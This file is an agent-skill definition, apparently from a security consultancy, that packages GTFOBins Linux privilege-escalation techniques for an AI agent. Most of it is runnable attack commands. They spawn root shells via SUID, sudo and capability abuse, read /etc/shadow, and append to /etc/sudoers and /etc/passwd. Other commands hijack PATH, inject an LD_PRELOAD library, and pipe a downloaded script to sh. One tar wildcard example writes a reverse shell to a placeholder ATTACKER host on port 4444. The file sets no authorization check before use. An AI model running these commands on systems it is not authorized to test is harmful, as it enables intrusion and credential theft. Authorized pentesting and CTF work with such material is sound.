| name | gtfobins |
| description | Operate and apply GTFOBins — the curated list of Unix binaries exploitable for privilege escalation, file operations, shell spawning, and capability abuse. Use when performing Linux/Unix privilege escalation, post-exploitation enumeration, SUID/sudo/capabilities exploitation, or when the user needs to leverage a specific binary to escape restricted shells, read protected files, or gain a root shell. Covers all GTFOBins categories, key binary techniques, SUID enumeration, sudo -l parsing, capabilities exploitation, and integration with LinPEAS/LinEnum output.
|
| metadata | {"author":"redhoundinfosec","version":"1.0","reference":"https://gtfobins.github.io"} |
gtfobins Agent Skill
When to Use This Skill
Use this skill when:
- The user needs to escalate privileges on a Linux/Unix system
- Working on CTF or pentest engagements and need binary-based privesc
- The user has
sudo -l output and needs to identify exploitation paths
- The user found SUID binaries and needs GTFOBins techniques for them
- The user needs to read/write files as another user without a full shell
- Escaping restricted shells (rbash, lshell, jailed environments)
- The user asks about capabilities-based privilege escalation
What GTFOBins Does
GTFOBins (Get The F*** Out Binaries) is a curated list of Unix binaries that
can be abused to bypass local security restrictions including file permissions,
sudo misconfiguration, capability grants, and SUID bits. Each entry documents
how a binary can be used for shell spawning, file read/write, file upload/download,
reverse shells, and more — all using only the binary itself and standard features.
GTFOBins Categories
| Category | What It Enables |
|---|
| Shell | Spawn an interactive shell |
| Command | Execute arbitrary OS commands |
| Reverse Shell | Connect back to attacker host |
| File Upload | Exfiltrate files to remote |
| File Download | Pull attacker-controlled files |
| File Read | Read files (e.g., /etc/shadow) without shell |
| File Write | Write to protected paths |
| SUID | Abuse binary with SUID bit set |
| Sudo | Abuse sudo permission for binary |
| Capabilities | Abuse Linux capabilities grant |
| Limited SUID | Binary is SUID but restricted; partial exploitation |
SUID Enumeration Workflow
find / -perm -4000 -type f 2>/dev/null
find / -perm /6000 -type f 2>/dev/null
find / -perm -4000 -user root -type f 2>/dev/null
find / -perm -4000 -type f 2>/dev/null | xargs -I{} basename {} | sort -u
Cross-reference each binary name at https://gtfobins.github.io/#+suid or use:
grep -rl "suid" ~/gtfobins/_gtfobins/ | xargs -I{} basename {} .md
sudo -l Parsing Workflow
sudo -l
Key patterns to exploit:
NOPASSWD — no password required, highest value
- Binaries that spawn subprocesses (vim, less, man, git, awk)
- Wildcards:
(ALL) /usr/bin/python3 * — argument injection possible
- Relative paths without full path — PATH hijacking possible
Capabilities Exploitation
getcap -r / 2>/dev/null
Example: python3 with cap_setuid+ep:
/usr/bin/python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
Example: perl with cap_setuid+ep:
perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/bash";'
Example: ruby with cap_setuid+ep:
ruby -e 'Process::Sys.setuid(0); exec "/bin/bash"'
Key Binary Techniques
find
find . -exec /bin/bash -p \; -quit
sudo find . -exec /bin/bash \; -quit
find . -exec whoami \;
vim / vi
vim -c ':!/bin/bash'
:set shell=/bin/bash
:shell
vim /etc/shadow
sudo vim /etc/sudoers
less / more
!bash
!/bin/sh
sudo less /etc/passwd
awk
awk 'BEGIN {system("/bin/bash")}'
sudo awk 'BEGIN {system("/bin/bash")}'
awk '{print}' /etc/shadow
python / python3
python3 -c 'import pty; pty.spawn("/bin/bash")'
python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
sudo python3 -c 'import os; os.system("/bin/bash")'
python3 -c 'print(open("/etc/shadow").read())'
perl
sudo perl -e 'exec "/bin/bash"'
perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/bash"'
perl -e 'use Socket; ... '
nmap
nmap --interactive
nmap> !bash
echo 'os.execute("/bin/bash")' > /tmp/shell.nse
nmap --script=/tmp/shell.nse localhost
sudo nmap --script=/tmp/shell.nse localhost
env
env /bin/bash -p
sudo env /bin/bash
tar
tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/bash
sudo tar -cf /dev/null /dev/null --checkpoint=1 \
--checkpoint-action=exec='bash -c "echo user ALL=\(ALL\) NOPASSWD:ALL >> /etc/sudoers"'
zip
TF=$(mktemp -u)
sudo zip $TF /etc/hosts -T -TT 'bash #'
git
sudo git -p help config
sudo git commit --allow-empty -m x \
--exec 'bash -c "bash <&2 >&2 2>&/dev/tty"'
docker
docker run -v /:/mnt --rm -it alpine chroot /mnt sh
docker run --rm -v /etc/shadow:/shadow alpine cat /shadow
pip
TF=$(mktemp -d)
echo "import os; os.system('/bin/bash')" > $TF/setup.py
sudo pip install $TF
cp / mv
echo 'root2::0:0:root:/root:/bin/bash' >> /tmp/passwd
sudo cp /tmp/passwd /etc/passwd
tee
echo 'user ALL=(ALL) NOPASSWD:ALL' | sudo tee -a /etc/sudoers
bash (with SUID)
bash -p
Integration with LinPEAS Output
LinPEAS highlights interesting SUID/sudo/capability findings. Map them:
- LinPEAS section
SUID → grep binary names → check GTFOBins #+suid
- LinPEAS section
sudo -l output → check GTFOBins #+sudo
- LinPEAS section
Capabilities → check GTFOBins #+capabilities
curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh > linpeas.txt
grep -A2 "SUID\|suid" linpeas.txt | grep "\/usr\|\/bin\|\/sbin" | awk '{print $1}' | sort -u
git clone https://github.com/GTFOBins/GTFOBins.github.io ~/gtfobins
for bin in $(cat suid_list.txt); do
[ -f ~/gtfobins/_gtfobins/${bin}.md ] && echo "[+] GTFOBins entry: $bin"
done
Restricted Shell Escapes
Common techniques using GTFOBins entries:
bash --noprofile
vi -c ':set shell=/bin/bash' -c ':shell'
awk 'BEGIN {system("/bin/bash")}'
python3 -c 'import os; os.system("/bin/bash")'
echo os.system('/bin/bash')
help; !/bin/bash
echo $PATH
export PATH=$PATH:/usr/local/sbin:/usr/sbin:/sbin
File Read Without Shell
sudo awk '{print}' /etc/shadow
sudo tee /dev/stdin < /etc/shadow
sudo cp /etc/shadow /tmp/shadow && cat /tmp/shadow
sudo base64 /etc/shadow | base64 -d
sudo cat /etc/shadow
Advanced Techniques
Wildcard Injection (tar)
echo '' > '--checkpoint=1'
echo '' > '--checkpoint-action=exec=bash shell.sh'
echo '/bin/bash -i >& /dev/tcp/ATTACKER/4444 0>&1' > shell.sh
PATH Hijacking (sudo without full path)
echo '/bin/bash' > /tmp/curl
chmod +x /tmp/curl
export PATH=/tmp:$PATH
sudo /usr/bin/script_that_calls_curl
LD_PRELOAD Abuse
cat > /tmp/shell.c << 'EOF'
void _init() { setuid(0); system("/bin/bash -p"); }
EOF
gcc -fPIC -shared -o /tmp/shell.so /tmp/shell.c -nostartfiles
sudo LD_PRELOAD=/tmp/shell.so [any allowed binary]
Troubleshooting
Binary not in GTFOBins: Check --version and search for similar binaries.
Old versions may have --interactive modes removed in newer releases (nmap).
SUID bit dropped: Some systems mount /tmp with nosuid. If your compiled
binary drops SUID, move to /var/tmp or /dev/shm.
sudo requires TTY: Add -t to SSH for TTY: ssh -t user@host sudo /bin/bash
AppArmor blocking: Check aa-status. Profiles may restrict SUID binaries
even if the GTFOBins technique is valid. Try: cat /sys/kernel/security/apparmor/profiles
SELinux denials: Check ausearch -m avc -ts recent to identify blocks.
getenforce to verify enforcement mode.
Built by Red Hound InfoSec — On-demand offensive security expertise for SMBs.
20+ years of Fortune 500 experience. Penetration testing, attack surface analysis, and security consulting.
Related reading: How to Attack-Test Your Own Domain Controllers Before an Adversary Does
redhound.us | GitHub | Book a consultation